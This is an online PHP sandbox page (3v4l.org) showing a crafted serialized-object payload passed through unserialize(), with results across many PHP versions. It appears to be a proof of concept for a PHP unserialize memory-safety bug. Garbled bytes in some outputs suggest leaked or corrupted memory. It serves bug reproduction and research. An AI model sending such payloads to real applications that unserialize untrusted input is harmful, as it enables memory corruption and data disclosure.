3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $data='O:8:"stdClass":4:{'; $data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'; $data.='s:3:"123";i:0;'; $data.='i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";'; $data.='i:1;r:12;}'; var_dump(serialize(unserialize($data))); ?>
based on sBDGH
Output for 5.4.37 - 5.4.45, 5.5.21 - 5.5.36, 5.6.5 - 7.2.0
string(79) "O:8:"stdClass":3:{s:3:"123";i:0;s:1:"0";s:17:"AAAA ��";s:1:"1";i:10;}"
Output for 5.3.9 - 5.4.36, 5.5.0 - 5.5.20, 5.6.0 - 5.6.4
Notice: unserialize(): Error at offset 195 of 196 bytes in /in/iCSKi on line 9 string(4) "b:0;"
Output for 5.2.6 - 5.3.8
string(67) "O:8:"stdClass":3:{i:123;i:0;i:0;s:17:"AAAA ��";i:1;i:10;}"
Output for 5.2.1, 5.2.4 - 5.2.5
string(71) "O:8:"stdClass":3:{s:3:"123";i:0;i:0;s:17:"AAAA ��";i:1;i:10;}"
Output for 5.2.2 - 5.2.3
Notice: unserialize(): Error at offset 160 of 196 bytes in /in/iCSKi on line 9 string(4) "b:0;"
Output for 4.3.2 - 5.2.0
Notice: unserialize(): Error at offset 135 of 196 bytes in /in/iCSKi on line 9 string(4) "b:0;"
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 135 of 196 bytes in /in/iCSKi on line 9 string(4) "b:0;"